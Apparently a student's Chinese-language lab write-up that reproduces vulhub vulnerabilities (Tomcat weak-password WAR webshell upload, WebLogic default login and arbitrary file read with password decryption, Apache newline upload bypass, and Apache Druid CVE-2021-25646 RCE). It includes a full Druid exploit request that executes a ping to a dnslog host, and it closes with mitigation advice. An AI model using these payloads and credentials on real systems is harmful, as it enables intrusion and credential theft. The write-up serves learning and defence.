文章目录
一、在vps安装docker和docker-compose
FinalShell连接aliyun服务器后,输入sudo apt install docker.io
命令安装docker。
执行更新操作apt-get update
,
然后安装docker-compose命令sudo apt install docker-compose
以下是安装完成截图:
为了提升效率,我换了下docker镜像加速源,输入命令vi /etc/docker/daemon.json
,将里面的文件内容改成以下内容
{
"registry-mirrors": [
"https://docker.1panel.live",
"https://hub.rat.dev/",
"https://docker.chenby.cn",
"https://docker.m.daocloud.io",
"https://docker.anyhub.us.kg",
"https://dockerhub.jobcher.com",
"https://dockerhub.icu"
]
}
(第一条是阿里云加速源,直接去阿里云服务器管理粘贴的):
添加之后保存退出,输入systemctl restart docker
重启docker。
遇到的问题:在之后搭靶场时我疑似遇到了docker和docker-compose版本不兼容的问题,于是我将同学的docker-compose替换了vps里的docker-compose
输入命令cd /usr/local/bin转到文件夹
注意这里还要修改一下权限,不然报错
这是最终的版本:
二、vulhub中的漏洞复现以及漏洞成因
1.tomcat 弱口令/后台文件上传getshell
1.进入tomcat8目录,输入docker-compose up -d
启动tomcat,docker ps
可以查看容器信息,记下端口是8080
注:这里要到云服务器的管理控制台上找到安全组/管理规则添加8080端口放行,这样就能在浏览器输入“云服务器公网IP:8080”进入tomcat
点击“Host Manager”,输入弱口令账号和密码(均为tomcat)登录,即可成功登录
成功进入登录界面
2.可以看到此处上传文件的地方
使用冰蝎的.jsp木马文件,默认密码是rebeyond
在冰蝎里的server文件打开cmd,输入命令将文件压缩成war,并上传
jar -cvf shell.war shell.jsp
上传成功
使用冰蝎连接
漏洞复现成功
漏洞成因:Tomcat manager 登录界面存在弱口令漏洞,登录成功后有上传点,压缩包 xxx.war的.war不会被解析,直接访问 xxx/里面的一句话路径,可直接拿到shell
2.weblogic 弱口令/任意文件读取
1.弱口令漏洞
漏洞成因:WebLogic服务器在搭建后,管理员未修改后台的默认密码或设置的密码过于简单,导致攻击者可以通过暴力破解、字典攻击等方式轻易获取登录权限,进而对服务器进行进一步的控制和攻击。
漏洞复现:
搭好靶场查看端口7001
ip+端口/console访问登陆页面
使用默认口令weblogic/Oracle@123登录,可以直接登录管理后台
2.任意文件读取漏洞
漏洞成因:服务器在处理用户输入时,没有对输入内容进行充分的限制和过滤,导致攻击者可以通过构造特殊的请求,读取服务器上任意文件的内容。
漏洞复现:前台存在任意文件读取漏洞,在不知道登录密码的情况下可通过此漏洞读取weblogic加密后的密码文件,如使用如下URL读取/etc/passwd:
http://your-ip:7001/hello/file.jsp?path= /etc/passwd
下载之后可以看到敏感的密码信息:
成功下载file.htm,因此存在任意文件下载。访问“http:// ip:7001/hello/file.jsp?path=/security/SerializedSystemIni.dat”
读取密钥文件,同时使用burpsuite抓包
注:● weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可;这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml
● SerializedSystemIni.dat是一个二进制文件,用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,就是密钥,右键copy to file就可以保存成一个文件
发送给重放器,选择乱码部分,右键选择“Copy to file”,选择存储路径和文件名
抓包http://ip:7001/hello/file.jsp?path=config/config.xml
这里即为加密后的管理员密码。
使用vulhub这个环境下自带的decrypt目录下的weblogic_decrypt.jar,解密密文,找到weblogic的解密工具的路径,打开cmd输入“java -jar weblogic_decrypt.jar”启动工具。
输入密钥文件的路径和加密的密码,解密后是“Oracle@123”
3.apache 换行解析/druid RCE
1.换行解析
漏洞成因:程序在解析PHP时,如果文件名最后有一个换行符x0A,apache依然会将其当成php解析,但是在上传文件时可以成功的绕过黑名单。
漏洞复现:
到本项目的路径“vulhub/httpd/CVE-2017-15715”下启动服务
输入IP+端口打开网页
上传文件10.php,打开浏览器代理
打开burpsuite拦截抓包
此时我们抓取上传文件包,转到Hex,在文件名后添加一个\x0A
然后发送,可以看到没有bad file的提示,说明文件上传成功
访问http://ip:8080/10.php%0A得到phpinfo()信息。
2.CVE-2021-25646(druid RCE)
漏洞成因:Apache Druid RCE(远程代码执行漏洞):Apache Druid是一个专为大数据集的快速切片分析(OLAP查询)而设计的实时分析数据库。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。在Druid 0.20.0及更低版本中对用户高度信任,未对请求包进行过滤限制,因此经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。
漏洞复现:
搭建环境的时候把我vps跑炸了还给我阿里云账号冻结了…
于是只能用同学搭的环境”http://10.17.179.169:8888/unified-console.html”
点击load data
依次填入(Base directory)quickstart/tutorial/(File filter)wikiticker-2015-09-12-sampled.json.gz,点击“Apply”、“Next:Parse data”,开始抓包
开启浏览器代理,将抓到的包发送到重放器,修改后点击“Sent”
将包覆盖成下面的内容再发送(修改.exec(‘ping -c 4 xxxx.dnslog.cn’)})的内容可执行不同命令):
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.191.128:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 998
Connection: close
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping -c 4 xxxx.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
三、RCE漏洞的原理和利用条件及解决方案
1、RCE漏洞的原理
RCE(远程代码执行)漏洞是一种安全漏洞,它允许攻击者通过Web端或客户端提交恶意构造的代码或命令,由于服务器端没有对这些输入进行充分的过滤或存在逻辑漏洞,导致这些恶意代码或命令在服务器端执行。
接口设计不当:服务器应用在设计时,为了提供某些功能(如文件操作、系统监控等),需要向用户开放远程命令或代码执行的接口。如果这些接口没有对用户输入进行严格的验证和过滤,就可能被攻击者利用。
代码执行函数的使用:服务器端代码中使用了能够执行系统命令或外部代码的函数,如system(), exec(), shell_exec(), eval()等,并且这些函数的参数没有得到有效控制或过滤,使得攻击者可以通过精心构造的输入来执行任意命令或代码。
反射和动态调用:在一些复杂的系统中,通过反射机制或动态调用方式执行代码也可能引入RCE漏洞。如果系统没有对这些机制进行适当的安全控制,攻击者就可能利用这些机制执行恶意代码。
2、RCE漏洞的利用条件
RCE漏洞的利用通常需要满足以下条件:
存在可执行的命令或代码接口:服务器应用提供了能够执行系统命令或外部代码的接口。
输入可控:攻击者能够控制接口的参数或输入数据。
过滤不严或存在逻辑漏洞:服务器端对输入数据的过滤不严或存在逻辑漏洞,使得攻击者能够绕过过滤机制。
3、RCE漏洞的解决方案
针对RCE漏洞,可以采取以下解决方案来降低风险:
严格输入验证:对所有外部输入进行严格的验证和过滤,确保输入数据符合预期格式和范围。对于需要执行系统命令或外部代码的接口,应尽量避免使用,或采用更加安全的替代方案。
限制执行权限:尽可能降低执行系统命令或外部代码的权限,确保即使存在漏洞,攻击者也无法获得过高的权限。
使用安全函数:尽量避免使用eval(), system(), exec()等能够执行系统命令或外部代码的函数。如果必须使用这些函数,应确保对其参数进行严格的验证和过滤。
更新和补丁:及时更新服务器应用和相关组件,以修复已知的安全漏洞。同时,关注行业内的安全动态,及时应用安全补丁。
安全配置:合理配置服务器和应用的安全参数,如禁用不必要的服务和端口、设置强密码和访问控制等。
代码审计:定期对服务器应用进行代码审计,检查是否存在潜在的安全漏洞。特别是关注那些能够执行系统命令或外部代码的代码段。
监控和日志:建立完善的监控和日志系统,及时发现并响应潜在的攻击行为。通过日志分析,可以追溯攻击者的行为轨迹,为后续的应急响应和漏洞修复提供依据。